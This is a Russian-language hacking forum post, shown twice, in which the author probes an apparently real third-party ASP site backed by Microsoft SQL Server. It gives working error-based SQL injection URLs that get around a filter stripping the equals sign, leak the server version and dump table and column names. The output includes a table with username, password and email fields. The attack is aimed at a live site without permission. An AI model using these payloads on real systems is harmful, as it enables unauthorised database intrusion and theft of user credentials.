durito
15.01.2012, 20:14
сегодня ковырял один сайт и наткнулся на интересную фильтрацию в mssql
Code:
http://www.xxx.com/index.asp?id=11'+or+1=@@version--
выдает -
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near '@@version'.
при таком:
Code:
http://www.xxx.com/index.asp?id=11+or+1=@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the varchar value '11 or 1@@version--' to data type int.
видим, что вырезается знак =
обходится это просто добавлением знака >
Code:
http://www.xxx.com/index.asp?id=11+or+1>@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the varchar value '11 or 1>@@version--' to data type int.
видит что не может с конвертировать данные, добавляем кавычку чтоб вызвать ошибку
Code:
http://www.xxx.com/index.asp?id=11'+or+1>@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.2050.00 (Intel X86) Feb 13 2007 23:02:48 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.
и то что доктор прописал
Но тут возникает проблема со стандартным вытягиванием имен таблиц и полей, так как знак = фильтруется
подумав немного а составил следующий запрос для дампера:
Code:
http://www.xxx.com/index.asp?id=11'+or+1%3E%28select+top+1+cast%28tab le_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_n ame+as+nvarchar%29+from+information_schema.columns +where+cast%28table_name+as+nvarchar%29%2B%27:%27% 2Bcast%28column_name+as+nvarchar%29+not+in+%28sele ct+top+5+cast%28table_name+as+nvarchar%29%2B%27:%2 7%2Bcast%28column_name+as+nvarchar%29+from+informa tion_schema.columns%29%29--
который объединил вывод таблиц и полей:
livesupportfirm:ID
livesupportfirm:idfirma
livesupportfirm:name
livesupportfirm:username
livesupportfirmassword
livesupportfirm:status
livesupportfirm:email
livesupport:ID
З.Ы. америку тут я не открыл, но может кому инфа пригодится
durito
Code:
http://www.xxx.com/index.asp?id=11'+or+1=@@version--
выдает -
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near '@@version'.
при таком:
Code:
http://www.xxx.com/index.asp?id=11+or+1=@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the varchar value '11 or 1@@version--' to data type int.
видим, что вырезается знак =
обходится это просто добавлением знака >
Code:
http://www.xxx.com/index.asp?id=11+or+1>@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the varchar value '11 or 1>@@version--' to data type int.
видит что не может с конвертировать данные, добавляем кавычку чтоб вызвать ошибку
Code:
http://www.xxx.com/index.asp?id=11'+or+1>@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.2050.00 (Intel X86) Feb 13 2007 23:02:48 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.
и то что доктор прописал
Но тут возникает проблема со стандартным вытягиванием имен таблиц и полей, так как знак = фильтруется
подумав немного а составил следующий запрос для дампера:
Code:
http://www.xxx.com/index.asp?id=11'+or+1%3E%28select+top+1+cast%28tab le_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_n ame+as+nvarchar%29+from+information_schema.columns +where+cast%28table_name+as+nvarchar%29%2B%27:%27% 2Bcast%28column_name+as+nvarchar%29+not+in+%28sele ct+top+5+cast%28table_name+as+nvarchar%29%2B%27:%2 7%2Bcast%28column_name+as+nvarchar%29+from+informa tion_schema.columns%29%29--
который объединил вывод таблиц и полей:
livesupportfirm:ID
livesupportfirm:idfirma
livesupportfirm:name
livesupportfirm:username
livesupportfirmassword
livesupportfirm:status
livesupportfirm:email
livesupport:ID
З.Ы. америку тут я не открыл, но может кому инфа пригодится
durito